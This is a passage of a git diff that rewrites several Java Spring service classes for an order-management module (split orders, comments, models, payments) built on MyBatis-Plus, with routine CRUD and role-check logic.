com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpOrderCd; -import org.dromara.work.domain.bo.TpOrderCdBo; -import org.dromara.work.domain.vo.TpOrderCdVo; -import org.dromara.work.mapper.TpOrderCdMapper; -import org.dromara.work.service.ITpOrderCdService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 拆单记录Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderCdServiceImpl implements ITpOrderCdService { - - private final TpOrderCdMapper baseMapper; - - /** - * 查询拆单记录 - * - * @param id 主键 - * @return 拆单记录 - */ - @Override - public TpOrderCdVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询拆单记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 拆单记录分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderCdBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的拆单记录列表 - * - * @param bo 查询条件 - * @return 拆单记录列表 - */ - @Override - public List queryList(TpOrderCdBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpOrderCdBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getOid() != null, TpOrderCd::getOid, bo.getOid()); - lqw.eq(bo.getPrice() != null, TpOrderCd::getPrice, bo.getPrice()); - lqw.eq(bo.getAddTime() != null, TpOrderCd::getAddTime, bo.getAddTime()); - lqw.eq(bo.getAddUser() != null, TpOrderCd::getAddUser, bo.getAddUser()); - return lqw; - } - - /** - * 新增拆单记录 - * - * @param bo 拆单记录 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpOrderCdBo bo) { - TpOrderCd add = MapstructUtils.convert(bo, TpOrderCd.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改拆单记录 - * - * @param bo 拆单记录 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpOrderCdBo bo) { - TpOrderCd update = MapstructUtils.convert(bo, TpOrderCd.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpOrderCd entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除拆单记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpOrderCd; +import org.dromara.work.domain.bo.TpOrderCdBo; +import org.dromara.work.domain.vo.TpOrderCdVo; +import org.dromara.work.mapper.TpOrderCdMapper; +import org.dromara.work.service.ITpOrderCdService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 拆单记录Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderCdServiceImpl implements ITpOrderCdService { + + private final TpOrderCdMapper baseMapper; + + /** + * 查询拆单记录 + * + * @param id 主键 + * @return 拆单记录 + */ + @Override + public TpOrderCdVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询拆单记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 拆单记录分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderCdBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的拆单记录列表 + * + * @param bo 查询条件 + * @return 拆单记录列表 + */ + @Override + public List queryList(TpOrderCdBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpOrderCdBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getOid() != null, TpOrderCd::getOid, bo.getOid()); + lqw.eq(bo.getPrice() != null, TpOrderCd::getPrice, bo.getPrice()); + lqw.eq(bo.getAddTime() != null, TpOrderCd::getAddTime, bo.getAddTime()); + lqw.eq(bo.getAddUser() != null, TpOrderCd::getAddUser, bo.getAddUser()); + return lqw; + } + + /** + * 新增拆单记录 + * + * @param bo 拆单记录 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderCdBo bo) { + TpOrderCd add = MapstructUtils.convert(bo, TpOrderCd.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改拆单记录 + * + * @param bo 拆单记录 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpOrderCdBo bo) { + TpOrderCd update = MapstructUtils.convert(bo, TpOrderCd.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpOrderCd entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除拆单记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCommentServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCommentServiceImpl.java index 64094a9..b397716 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCommentServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCommentServiceImpl.java @@ -1,164 +1,164 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.work.domain.TpOrderComment; -import org.dromara.work.domain.TpOrderRecord; -import org.dromara.work.domain.bo.TpOrderCommentBo; -import org.dromara.work.domain.vo.TpOrderCommentVo; -import org.dromara.work.mapper.TpOrderCommentMapper; -import org.dromara.work.mapper.TpOrderRecordMapper; -import org.dromara.work.service.ITpOrderCommentService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 订单评论Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderCommentServiceImpl implements ITpOrderCommentService { - - private final TpOrderCommentMapper baseMapper; - - private final TpOrderRecordMapper recordMapper; - - /** - * 查询订单评论 - * - * @param id 主键 - * @return 订单评论 - */ - @Override - public TpOrderCommentVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询订单评论列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单评论分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderCommentBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的订单评论列表 - * - * @param bo 查询条件 - * @return 订单评论列表 - */ - @Override - public List queryList(TpOrderCommentBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpOrderCommentBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getOid() != null, TpOrderComment::getOid, bo.getOid()); - lqw.eq(bo.getUid() != null, TpOrderComment::getUid, bo.getUid()); - lqw.eq(bo.getGrade() != null, TpOrderComment::getGrade, bo.getGrade()); - lqw.eq(bo.getSpeed() != null, TpOrderComment::getSpeed, bo.getSpeed()); - lqw.eq(bo.getQuality() != null, TpOrderComment::getQuality, bo.getQuality()); - lqw.eq(bo.getServe() != null, TpOrderComment::getServe, bo.getServe()); - lqw.eq(StringUtils.isNotBlank(bo.getContent()), TpOrderComment::getContent, bo.getContent()); - lqw.eq(bo.getAddTime() != null, TpOrderComment::getAddTime, bo.getAddTime()); - lqw.eq(bo.getType() != null, TpOrderComment::getType, bo.getType()); - return lqw; - } - - /** - * 新增订单评论 - * - * @param bo 订单评论 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpOrderCommentBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if(loginUser.getIdentity() != 3){ - throw new ServiceException("只有客服才可以评论"); - } - bo.setUid(loginUser.getUserId()); - bo.setType(2L); - bo.setAddTime(new Date()); - TpOrderComment add = MapstructUtils.convert(bo, TpOrderComment.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - saveOrderRecord(add.getOid(),"客服评论","评论内容:"+add.getContent()); - } - return flag; - } - - /** - * 修改订单评论 - * - * @param bo 订单评论 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpOrderCommentBo bo) { - TpOrderComment update = MapstructUtils.convert(bo, TpOrderComment.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpOrderComment entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除订单评论信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } - - public Boolean saveOrderRecord(Long orderId, String type,String content) { - LoginUser loginUser = LoginHelper.getLoginUser(); - TpOrderRecord record = new TpOrderRecord(); - record.setOid(orderId); - record.setType(type); - record.setContent(content); - record.setAddUser(loginUser.getUserId()); - record.setAddTime(new Date()); - record.setState(1); - return recordMapper.insert(record) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.work.domain.TpOrderComment; +import org.dromara.work.domain.TpOrderRecord; +import org.dromara.work.domain.bo.TpOrderCommentBo; +import org.dromara.work.domain.vo.TpOrderCommentVo; +import org.dromara.work.mapper.TpOrderCommentMapper; +import org.dromara.work.mapper.TpOrderRecordMapper; +import org.dromara.work.service.ITpOrderCommentService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 订单评论Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderCommentServiceImpl implements ITpOrderCommentService { + + private final TpOrderCommentMapper baseMapper; + + private final TpOrderRecordMapper recordMapper; + + /** + * 查询订单评论 + * + * @param id 主键 + * @return 订单评论 + */ + @Override + public TpOrderCommentVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询订单评论列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单评论分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderCommentBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的订单评论列表 + * + * @param bo 查询条件 + * @return 订单评论列表 + */ + @Override + public List queryList(TpOrderCommentBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpOrderCommentBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getOid() != null, TpOrderComment::getOid, bo.getOid()); + lqw.eq(bo.getUid() != null, TpOrderComment::getUid, bo.getUid()); + lqw.eq(bo.getGrade() != null, TpOrderComment::getGrade, bo.getGrade()); + lqw.eq(bo.getSpeed() != null, TpOrderComment::getSpeed, bo.getSpeed()); + lqw.eq(bo.getQuality() != null, TpOrderComment::getQuality, bo.getQuality()); + lqw.eq(bo.getServe() != null, TpOrderComment::getServe, bo.getServe()); + lqw.eq(StringUtils.isNotBlank(bo.getContent()), TpOrderComment::getContent, bo.getContent()); + lqw.eq(bo.getAddTime() != null, TpOrderComment::getAddTime, bo.getAddTime()); + lqw.eq(bo.getType() != null, TpOrderComment::getType, bo.getType()); + return lqw; + } + + /** + * 新增订单评论 + * + * @param bo 订单评论 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderCommentBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if(loginUser.getIdentity() != 3){ + throw new ServiceException("只有客服才可以评论"); + } + bo.setUid(loginUser.getUserId()); + bo.setType(2L); + bo.setAddTime(new Date()); + TpOrderComment add = MapstructUtils.convert(bo, TpOrderComment.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + saveOrderRecord(add.getOid(),"客服评论","评论内容:"+add.getContent()); + } + return flag; + } + + /** + * 修改订单评论 + * + * @param bo 订单评论 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpOrderCommentBo bo) { + TpOrderComment update = MapstructUtils.convert(bo, TpOrderComment.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpOrderComment entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除订单评论信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } + + public Boolean saveOrderRecord(Long orderId, String type,String content) { + LoginUser loginUser = LoginHelper.getLoginUser(); + TpOrderRecord record = new TpOrderRecord(); + record.setOid(orderId); + record.setType(type); + record.setContent(content); + record.setAddUser(loginUser.getUserId()); + record.setAddTime(new Date()); + record.setState(1); + return recordMapper.insert(record) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderModelServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderModelServiceImpl.java index 1031f7b..74e033e 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderModelServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderModelServiceImpl.java @@ -1,168 +1,168 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.work.domain.TpOrderModel; -import org.dromara.work.domain.TpOrderRecord; -import org.dromara.work.domain.bo.TpOrderModelBo; -import org.dromara.work.domain.vo.TpOrderModelVo; -import org.dromara.work.mapper.TpOrderModelMapper; -import org.dromara.work.mapper.TpOrderRecordMapper; -import org.dromara.work.service.ITpOrderModelService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 订单模型Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderModelServiceImpl extends MPJBaseServiceImpl implements ITpOrderModelService { - - private final TpOrderModelMapper baseMapper; - - private final TpOrderRecordMapper recordMapper; - - /** - * 查询订单模型 - * - * @param id 主键 - * @return 订单模型 - */ - @Override - public TpOrderModelVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询订单模型列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单模型分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderModelBo bo, PageQuery pageQuery) { - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderModel.class) - .select("s.real_name as addUserName") - .leftJoin("sys_user s on s.user_id = t.add_user") - .orderByDesc(TpOrderModel::getId); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderModelVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 查询符合条件的订单模型列表 - * - * @param bo 查询条件 - * @return 订单模型列表 - */ - @Override - public List queryList(TpOrderModelBo bo) { - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderModel.class) - .select("s.real_name as addUserName") - .leftJoin("sys_user s on s.user_id = t.add_user") - .orderByDesc(TpOrderModel::getId); - - return baseMapper.selectVoList(wrapper); - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderModelBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(bo.getOid() != null, TpOrderModel::getOid, bo.getOid()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpOrderModel::getName, bo.getName()); - lqw.eq(StringUtils.isNotBlank(bo.getPic()), TpOrderModel::getPic, bo.getPic()); - lqw.eq(bo.getAddTime() != null, TpOrderModel::getAddTime, bo.getAddTime()); - lqw.eq(bo.getAddUser() != null, TpOrderModel::getAddUser, bo.getAddUser()); - return lqw; - } - - /** - * 新增订单模型 - * - * @param bo 订单模型 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpOrderModelBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (!loginUser.getIdentity().equals(2)){ - throw new ServiceException("只有技术才可以上传图片哦"); - } - bo.setAddTime(new Date()); - bo.setAddUser(loginUser.getUserId()); - TpOrderModel add = MapstructUtils.convert(bo, TpOrderModel.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - TpOrderRecord record = new TpOrderRecord(); - record.setOid(bo.getOid()); - record.setType("上传模型"); - record.setContent("订单上传模型成功"); - record.setAddUser(loginUser.getUserId()); - record.setAddTime(new Date()); - record.setState(1); - recordMapper.insert(record); - } - return flag; - } - - /** - * 修改订单模型 - * - * @param bo 订单模型 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpOrderModelBo bo) { - TpOrderModel update = MapstructUtils.convert(bo, TpOrderModel.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpOrderModel entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除订单模型信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.work.domain.TpOrderModel; +import org.dromara.work.domain.TpOrderRecord; +import org.dromara.work.domain.bo.TpOrderModelBo; +import org.dromara.work.domain.vo.TpOrderModelVo; +import org.dromara.work.mapper.TpOrderModelMapper; +import org.dromara.work.mapper.TpOrderRecordMapper; +import org.dromara.work.service.ITpOrderModelService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 订单模型Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderModelServiceImpl extends MPJBaseServiceImpl implements ITpOrderModelService { + + private final TpOrderModelMapper baseMapper; + + private final TpOrderRecordMapper recordMapper; + + /** + * 查询订单模型 + * + * @param id 主键 + * @return 订单模型 + */ + @Override + public TpOrderModelVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询订单模型列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单模型分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderModelBo bo, PageQuery pageQuery) { + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderModel.class) + .select("s.real_name as addUserName") + .leftJoin("sys_user s on s.user_id = t.add_user") + .orderByDesc(TpOrderModel::getId); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderModelVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 查询符合条件的订单模型列表 + * + * @param bo 查询条件 + * @return 订单模型列表 + */ + @Override + public List queryList(TpOrderModelBo bo) { + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderModel.class) + .select("s.real_name as addUserName") + .leftJoin("sys_user s on s.user_id = t.add_user") + .orderByDesc(TpOrderModel::getId); + + return baseMapper.selectVoList(wrapper); + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderModelBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(bo.getOid() != null, TpOrderModel::getOid, bo.getOid()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpOrderModel::getName, bo.getName()); + lqw.eq(StringUtils.isNotBlank(bo.getPic()), TpOrderModel::getPic, bo.getPic()); + lqw.eq(bo.getAddTime() != null, TpOrderModel::getAddTime, bo.getAddTime()); + lqw.eq(bo.getAddUser() != null, TpOrderModel::getAddUser, bo.getAddUser()); + return lqw; + } + + /** + * 新增订单模型 + * + * @param bo 订单模型 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderModelBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (!loginUser.getIdentity().equals(2)){ + throw new ServiceException("只有技术才可以上传图片哦"); + } + bo.setAddTime(new Date()); + bo.setAddUser(loginUser.getUserId()); + TpOrderModel add = MapstructUtils.convert(bo, TpOrderModel.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + TpOrderRecord record = new TpOrderRecord(); + record.setOid(bo.getOid()); + record.setType("上传模型"); + record.setContent("订单上传模型成功"); + record.setAddUser(loginUser.getUserId()); + record.setAddTime(new Date()); + record.setState(1); + recordMapper.insert(record); + } + return flag; + } + + /** + * 修改订单模型 + * + * @param bo 订单模型 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpOrderModelBo bo) { + TpOrderModel update = MapstructUtils.convert(bo, TpOrderModel.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpOrderModel entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除订单模型信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderPayServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderPayServiceImpl.java index 53776cf..418d5a7 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderPayServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderPayServiceImpl.java @@ -1,134 +1,134 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpOrderPay; -import org.dromara.work.domain.bo.TpOrderPayBo; -import org.dromara.work.domain.vo.TpOrderPayVo; -import org.dromara.work.mapper.TpOrderPayMapper; -import org.dromara.work.service.ITpOrderPayService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 订单支付记录Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderPayServiceImpl implements ITpOrderPayService { - - private final TpOrderPayMapper baseMapper; - - /** - * 查询订单支付记录 - * - * @param id 主键 - * @return 订单支付记录 - */ - @Override - public TpOrderPayVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询订单支付记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单支付记录分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderPayBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的订单支付记录列表 - * - * @param bo 查询条件 - * @return 订单支付记录列表 - */ - @Override - public List queryList(TpOrderPayBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpOrderPayBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getOid() != null, TpOrderPay::getOid, bo.getOid()); - lqw.eq(StringUtils.isNotBlank(bo.getOrderId()), TpOrderPay::getOrderId, bo.getOrderId()); - lqw.eq(bo.getPrice() != null, TpOrderPay::getPrice, bo.getPrice()); - lqw.eq(bo.getState() != null, TpOrderPay::getState, bo.getState()); - lqw.eq(bo.getAddTime() != null, TpOrderPay::getAddTime, bo.getAddTime()); - lqw.eq(StringUtils.isNotBlank(bo.getTransactionId()), TpOrderPay::getTransactionId, bo.getTransactionId()); - return lqw; - } - - /** - * 新增订单支付记录 - * - * @param bo 订单支付记录 - * @return 是否新增成功 - */ - @Override - public 